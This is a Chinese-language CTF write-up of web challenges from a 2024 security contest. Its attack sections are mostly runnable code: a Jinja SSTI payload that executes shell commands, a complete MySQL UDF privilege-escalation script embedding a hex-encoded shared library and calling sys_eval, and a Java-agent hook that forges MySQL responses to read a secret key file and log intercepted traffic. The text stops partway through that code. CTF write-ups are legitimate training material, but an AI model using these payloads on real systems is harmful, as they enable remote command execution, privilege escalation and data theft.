2024春秋杯网络安全联赛夏季赛WP(web)

admin 2024年7月8日12:06:09评论67 views字数 34775阅读115分55秒阅读模式

1.    前言

个人赛,参赛的主要都是学生,不是特别卷。因为web比较有意思,AWDP也有三道是web。虽然有的题没解出来,但除了MyCMS没时间碰,其他基本都摸的差不多了。

2024春秋杯网络安全联赛夏季赛WP(web)

2.    brother

本来是最难的一道题,但因为出题者没有正确的限制mysql的文件读写权限导致被偷鸡。

2024春秋杯网络安全联赛夏季赛WP(web)

一眼SSTI
/?name={{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ps aux').read()}}
本来是很难的多层权限提权题目,但看到mysql是root权限启动后就觉得可以偷。

2024春秋杯网络安全联赛夏季赛WP(web)

api.py里有mysql账户密码,而且ctf是root权限,且secure_file_priv为空。一眼udf提权,直接掏出珍藏多年的linux udf脚本搞定。

2024春秋杯网络安全联赛夏季赛WP(web)

show global variables like '%secure_file_priv%';show variables like '%plugin%';select * from func;select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';create function sys_eval returns string soname 'mysqludf.so';select sys_eval('whoami');

3.    brother_revenge(未解出)

前者打了补丁,mysql被降权且secure_file_priv为一个固定目录,因此无法直接load_file或者into outfile来读文件或者导出udf。
废了很大劲做到最后一个点了,没做出来。大概题目设计是这样的。
【one】
www.py(SSTI)
sql-proxy.jar(代理3306到6666服务端)

【two】
api.py(1,建立3306连接,每隔10秒执行一次select version();)
api.py(2,起server_socket到7777,每隔10秒向连接的客户端发送一次{"code":0, "path": ""})
api.py(3,起Flask到5000,读evil.key,如果正确的话可exec任意python代码)

【three】
update.py(访问7777端口,code=1则从path中获取gz文件,解压其中的new.bin到/updatedir)
/usr/lib/mysql/plugin/(有写入权限)

【mysql】
用udf读flag

整个攻击流程为:
SSTI拿到one权限
java agent hook sql-proxy.jar,劫持two用户访问到的mysql流量
fake mysql读evil.key
带evil.key访问5000,拿到two权限
python hook socket.socket.send,劫持three用户访问7777的流量
控制three解压恶意tar.gz文件
写入/usr/lib/mysql/plugin/udf.so,拿到mysql udf权限

难点在于必须保持mysql和7777 TCP连接不中止的清空下篡改流量,和tar.gz的解压漏洞,以下是具体过程。

先是one的权限,SSTI拿到,不赘述。
其sql-proxy.jar起了一个代理

2024春秋杯网络安全联赛夏季赛WP(web)

base64代码如下,其实就是把3306转到了6666。

package com.ctf;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.ServerSocket;import java.net.Socket;public class Proxy {    private int c = 0;    public Proxy() {        int sourcePort = 6666;        String destinationHost = "127.0.0.1";        short destinationPort = 3306;        try {            ServerSocket serverSocket = new ServerSocket(sourcePort);            try {                while(true) {                    while(true) {                        try {                            Socket sourceSocket = serverSocket.accept();                            System.out.println(sourceSocket.getRemoteSocketAddress());                            Socket destinationSocket = new Socket(destinationHost, destinationPort);                            Thread sourceToDestination = new Thread(() -> {                                this.forwardData(sourceSocket, destinationSocket);                            });                            sourceToDestination.start();                            Thread destinationToSource = new Thread(() -> {                                this.forwardData(destinationSocket, sourceSocket);                            });                            destinationToSource.start();                        } catch (Exception var10) {                            var10.printStackTrace();                        }                    }                }            } catch (Throwable var11) {                try {                    serverSocket.close();                } catch (Throwable var9) {                    var11.addSuppressed(var9);                }                throw var11;            }        } catch (Exception var12) {            var12.printStackTrace();        }    }    private void forwardData(Socket inputSocket, Socket outputSocket) {        try {            InputStream inputStream = inputSocket.getInputStream();            try {                OutputStream outputStream = outputSocket.getOutputStream();                try {                    byte[] buffer = new byte[1024];                    int read;                    while((read = inputStream.read(buffer)) != -1) {                        this.send(outputStream, buffer, read);                    }                } catch (Throwable var10) {                    if (outputStream != null) {                        try {                            outputStream.close();                        } catch (Throwable var9) {                            var10.addSuppressed(var9);                        }                    }                    throw var10;                }                if (outputStream != null) {                    outputStream.close();                }            } catch (Throwable var11) {                if (inputStream != null) {                    try {                        inputStream.close();                    } catch (Throwable var8) {                        var11.addSuppressed(var8);                    }                }                throw var11;            }            if (inputStream != null) {                inputStream.close();            }        } catch (Exception var12) {            try {                inputSocket.close();                outputSocket.close();            } catch (Exception var7) {            }        }    }    private void send(OutputStream o, byte[] data, int c) throws IOException {        o.write(data, 0, c);        o.flush();    }}

6666是two用户在api.py里用的,每隔10秒执行一下select version();

2024春秋杯网络安全联赛夏季赛WP(web)

因为connect不在while里,所以要一直保持连接不中断,所以没办法kill掉sql-proxy.jar另起一个fake mysql server。
只能用java agent hook send方法,这样可以劫持mysql流量。

2024春秋杯网络安全联赛夏季赛WP(web)

因为send和recv都走这个地方,所以需要判断mysql的响应包,将其替换为读取文件的恶意流量。然后把流量都输出到文件里,核心代码如下。

package javaagent;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.io.ByteArrayInputStream;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class ProxyTransformer implements ClassFileTransformer {    @Override    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {        if(!className.startsWith("com/ctf/Proxy"))        {            return  classfileBuffer;        }        try{        ClassPool cp = ClassPool.getDefault();        ClassClassPath classPath = new ClassClassPath(classBeingRedefined);        cp.insertClassPath(classPath);        CtClass cc;        try {            cc = cp.get("com.ctf.Proxy");        } catch (Exception e) {            cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));        }        CtMethod m = cc.getDeclaredMethod("send");        m.addLocalVariable("elapsedTime", CtClass.longType);        //m.insertBefore("System.out.println("agent");");        m.insertBefore("        String strdata = new String($2); rn"                + "        if (strdata.contains("def")) {rn"                + "            $2 = java.util.Base64.getDecoder().decode("DgAAAfsvYXBwL2V2aWwua2V5b2cAAQAAAEEfGGYKPWJdAA2iIQAAOwEVAAAAAAAAAAAAABBQVDsVbwVuDWt8IgBteXNxbF9uYXRpdmVfcGFzc3dvcmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==");rn"                + "            $3 = 25;rn"                + "        }rn"                + "        strdata = new String($2); rn"                + "        java.io.File filePath = new java.io.File("/tmp/log.txt");rn"                + "        rn"                + "        java.io.FileWriter fileWriter = new java.io.FileWriter(filePath, true);rn"                + "        fileWriter.write(java.util.Base64.getEncoder().encodeToString($2));rn"                + "        fileWriter.write("\nnnnnnnnnnnn\n");rn"                + "        fileWriter.close();rn"                + "        $1.write($2, 0, $3);rn"                + "        $1.flush();rn"                + "        return;");        // /etc/passwd        